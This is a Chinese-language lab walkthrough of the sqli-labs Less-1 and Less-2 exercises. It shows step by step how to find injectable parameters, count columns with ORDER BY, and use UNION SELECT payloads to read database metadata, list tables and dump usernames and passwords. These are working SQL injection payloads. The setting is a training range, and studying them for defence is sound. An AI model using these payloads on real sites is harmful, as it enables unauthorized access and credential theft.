综合渗透测试-报错注入
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux
Windows 7
第二步,启动Kali Linux,打开浏览器,进入靶场首页
http://172.16.1.200(靶机IP地址)/sqli-labs
选择Less-1进入第一关
第三步,根据页面提示信息,该题可能是一道单引号注入的题目
1)根据题目要求,在URL末尾加个?id=1观察其返回结果
2)我们再次尝试,在URL末尾加个?id=2观察其返回结果。发现通过改变id的数字,可以取到不同登录用户的用户名和密码
第四步,切换至Windows 7靶机,查看该页面的源代码,找到原因:
C:\AppServ\www\sqli-labs\Less-1\index.php
id的值未经过滤就被带入SQL语句当中,有SQL注入的可能性。id被单引号包含,为字符型注入,需要绕过单引号执行任意SQL语句。
第五步,尝试添加一个单引号,观察其返回结果
1)输入http://172.16.1.200/sqli-labs/Less-1/?id=2'之后,可以看到页面显示出了报错信息
当加入一个单引号时,页面出现了报错信息,并且这个报错信息来自数据库。
从数据库的的报错信息中判断可能是单引号的匹配出了问题,即添加的单引号成功被数据库解析了,PHP并没有对输入进行过滤,就可以通过闭合id参数,插入构造的SQL语句实施攻击。
第六步,使用order by 语句尝试确定字段数
1)一些常见的字符对应的HTML URL编码
# |
%23 |
' |
%27 |
空格 |
%20 |
2)修改为 ?id=2%27%20order%20by%201%20%23 之后,页面没有报错
3)修改为 ?id=2%27%20order%20by%202%20%23 之后,页面没有报错
4)修改为 ?id=2%27%20order%20by%203%20%23 之后,页面没有报错
5)修改为 ?id=2%27%20order%20by%204%20%23 之后,页面出现了报错,也就是没有第四个字段,也就可以推断原本的SQL语句只用到了三个字段
第七步,使用联合查询确定哪几个字段会被显示在页面上
?id=-1%27%20union%20select%201,2,3%20%23
第八步,查询数据库信息
只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数
CONCAT_WS() |
从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符 |
CHAR() |
将十进制ASCII码转化成字符 |
USER() |
返回当前数据库连接使用的用户 |
DATABASE() |
返回当前数据库连接使用的数据库 |
VERSION() |
返回当前数据库的版本 |
查询数据库用户名,数据库名称和数据库的版本信息
?id=-1%27%20union%20select%201,2,(concat_ws(char(32,58,32),user(),database(),version()))%20%23
32表示 [空格],58表示 [:]
第九步,拆解表:
1. 切换至Windows 7靶机,按Win + R键打开cmd
2. 连接MySQL数据库
mysql -uroot -p123456
3. 开始拆解表分析
MySQL中,information_schema是系统数据库,安装后自带,记录当前数据库的数据库、表、列、用户权限等信息。
输入命令 show databases; 查看
SCHEMATA表:
储存MySQL所有数据库的基本信息,包括数据库名,编码类型路径等,SHOW
DATABASES()的结果从该表读取。
输入命令查看 information_schema 表:
use information_schema;
show tables;
TABLES表:
储存MySQL中的表信息,存储表的类型,数据库引擎,表行数,创建时间,最后更新时间等。
COLUMNS表:
提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,包括该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。
注意,查询information_schema中的信息时,使用where语句,值不能直接用英文,必须使用单引号包裹,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义,security的十六进制转换是:0x7365637572697479。
1)使用
?id=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20%23
语句,成功的拆解出了一个emails表:
但是只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举。
2)使用
?id=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%201,1%20%23
语句来一次列出表:
第十步,构建SQL语句,一次性列出所有表
1. 切换至Windows 7靶机MySQL客户端窗口
输入select user,host from mysql.user;
如果直接选择MySQL数据库中的user表user,host字段,会选择出5个字段,通常的SQL注入只能接受返回1个字段,所以我们有limit和group_concat两种方法限制输出的行数。
输入select user,host from mysql.user limit 1,1;
limit 1,1指从第1行开始输出,共输出1行,得到两个字段(user和host)的结果,那么有没有办法让user和host在一个字段里输出?
输入select group_concat(user,host) from mysql.user;
所有行的结果在一个字段内输出。
我们可以通过在group_concat中添加额外的字符串作为分隔符,以方便我们识别
输入select group_concat("user is:",user," host is:",host) from mysql.user;
通过拼接字符串和变脸,得到了更简单可视的返回结果。
2. 不断的改变limit的第一个参数,就可以一次列举出来,不过太麻烦了,我们直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,那么构建SQL语句:
?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+
第十一步,选择Less-2,进入第二关,基于错误的 - GET - 数字型
第十二步,在URL末尾加入?id=1观察其返回结果
1)我们再次尝试,在URL末尾加个?id=2观察其返回结果。发现通过改变id的数字,可以取到不同登录用户的用户名和密码
2)再次尝试添加一个单引号%27,观察其返回结果,页面显示报错信息
第十三步,使用order by 语句尝试确定字段数
1)修改为 ?id=2%20order%20by%201%20%23 之后,页面没有报错
2)修改为 ?id=2%20order%20by%202%20%23 之后,页面没有报错
3)修改为 ?id=2%20order%20by%203%20%23 之后,页面没有报错
4)修改为 ?id=2%20order%20by%204%20%23 之后,页面出现了报错,即第四个字段不存在,推断原本的SQL语句只用到了三个字段
第十四步,使用联合查询确定哪几个字段会被显示在页面上
使用
?id=-1%20union%20select%201,2,3%20%23
语句,将原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上
第十五步,查询数据库信息
使用
?id=-1%20union%20select%201,2,(concat_ws(char(32,58,32),user(),database(),version()))%20%23
语句查询数据库用户名,数据库名称和数据库的版本信息
第十六步,拆解表
使用
?id=-1%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20%23
语句成功的拆解出了一个emails表:
第十七步,构建SQL语句,一次性列出所有表:
使用
?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20%23
语句来一次列出表